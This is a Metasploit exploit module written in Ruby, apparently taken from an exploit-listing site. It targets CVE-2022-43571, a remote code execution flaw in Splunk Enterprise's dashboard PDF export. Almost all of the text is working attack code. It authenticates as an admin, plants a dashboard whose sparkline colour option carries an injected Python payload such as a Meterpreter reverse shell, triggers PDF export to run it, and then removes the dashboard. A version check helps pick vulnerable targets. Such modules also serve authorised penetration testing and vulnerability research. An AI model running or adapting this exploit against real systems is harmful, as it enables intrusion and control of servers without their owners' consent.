Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-HTTP-SPLUNK_AUTH_RCE_CVE_2022_43571-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Splunk
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Authenticated RCE in Splunk (SimpleXML dashboard PDF generation)',
        'Description' => %q{
          This Metasploit module exploits a Remote Code Execution (RCE) vulnerability in Splunk Enterprise.

          An attacker can inject arbitrary Python code into style parameters, such as the fillColor or lineColor of a sparkline element within a Splunk SimpleXML dashboard.
          The malicious code is executed when a user triggers the PDF export function for the dashboard.

          The affected versions include any release prior to 8.1.12, as well as versions 8.2.0 through 8.2.9 and 9.0.0 through 9.0.2.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Maksim Rogov', # Metasploit Module
          'Danylo Dmytriiev', # Vulnerability Discovery
          'psytester' # Public Exploit
        ],
        'References' => [
          ['CVE', '2022-43571'],
          ['URL', 'https://advisory.splunk.com/advisories/SVD-2022-1111'],
          ['URL', 'https://web.archive.org/web/20221218233608/https://psytester.github.io/CVE-2022-43571_SPLUNK_RCE/']
        ],
        'Platform' => ['python'],
        'Arch' => [ARCH_PYTHON],
        'Targets' => [
          [
            'Splunk < 8.1.12, 8.2.9, and 9.0.2 / Python payload',
            {
              # Tested with python/meterpreter/reverse_tcp
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2022-11-02',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'Path to the Splunk App', '/']),
        OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as', 'admin' ]),
        OptString.new('PASSWORD', [ true, 'The password for the specified username']),
        OptBool.new('USE_INLINE_SPLUNK_QUERY', [true, 'By default, the exploit uses a simple query using system indexes (such as _internal). This option can be useful if those indexes are empty', false ])
      ]
    )
  end

  def gen_inline_splunk_query
    row_id_name = Rex::Text.rand_text_alphanumeric(8..16)
    arr_field = Rex::Text.rand_text_alpha(8..16)

    rand_count = rand(100..500)
    step = rand(2..15)

    col_count = rand(3..10)
    column_names = col_count.times.map { Rex::Text.rand_text_alphanumeric(8..16) }

    delimiter = [';', '|', ':', '#', '!'].sample
    names_string = column_names.join(delimiter)

    <<~SPL.strip
      | makeresults count=#{rand_count}
      | streamstats count as #{row_id_name}
      | eval _time = now() - (#{row_id_name} * #{step}),
             #{arr_field} = split("#{names_string}", "#{delimiter}"),
             sourcetype = mvindex(#{arr_field}, #{row_id_name} % #{col_count})
      | chart sparkline count by sourcetype
    SPL
  end

  def get_system_index_splunk_query
    rand_tail = rand(100..200)
    index = ['_internal', '_audit', '_introspection'].sample

    "index=#{index} | tail #{rand_tail} | chart sparkline count by sourcetype"
  end

  def get_malicious_dashboard_template(payload)
    splunk_query = datastore['USE_INLINE_SPLUNK_QUERY'] ? gen_inline_splunk_query : get_system_index_splunk_query
    style_param = ['lineColor', 'fillColor'].sample
    escaped_payload = CGI.escapeHTML(payload)

    dash_template = <<~XSL
      <dashboard>
          <row>
              <panel>
                  <table>
                      <search>
                      <query>
                          #{splunk_query}
                      </query>
                      </search>
                      <format field="sparkline" type="sparkline">
                      <option name="#{style_param}">#{escaped_payload}</option>
                      </format>
                  </table>
              </panel>
          </row>
      </dashboard>
    XSL

    # delete spaces
    dash_template.gsub(/^\s+/, '')
  end

  def cleanup
    super
    delete_dashboard(@target_app, @dash_name, @cookie)
  rescue Msf::Exploit::Failed
    print_warning("Module failed to delete the dashboard, \"#{@dash_name}\", which was created by the exploit")
  end

  def check
    @cookie = splunk_login(datastore['USERNAME'], datastore['PASSWORD'])
    version = splunk_home_version(@cookie)
    if version.between?(Rex::Version.new('8.1.0'), Rex::Version.new('8.1.11')) ||
       version.between?(Rex::Version.new('8.2.0'), Rex::Version.new('8.2.8')) ||
       version.between?(Rex::Version.new('9.0.0'), Rex::Version.new('9.0.1'))
      return CheckCode::Appears("Exploitable version found: #{version}")
    end

    return CheckCode::Safe("Non-vulnerable version found: #{version}") if !version.nil?

    return CheckCode::Unknown('Target does not appear to be a Splunk instance')
  end

  def exploit
    if @cookie.nil?
      @cookie = splunk_login(datastore['USERNAME'], datastore['PASSWORD'])
    end

    template = get_malicious_dashboard_template(payload.encoded)

    @target_app = get_random_app(@cookie, enabled: true)
    @dash_name = Rex::Text.rand_text_alphanumeric(8..16)

    create_dashboard(@target_app, @dash_name, template, @cookie)
    begin
      export_dashboard(@target_app, @dash_name, @cookie)
    rescue StandardError
      nil
    end
  end

end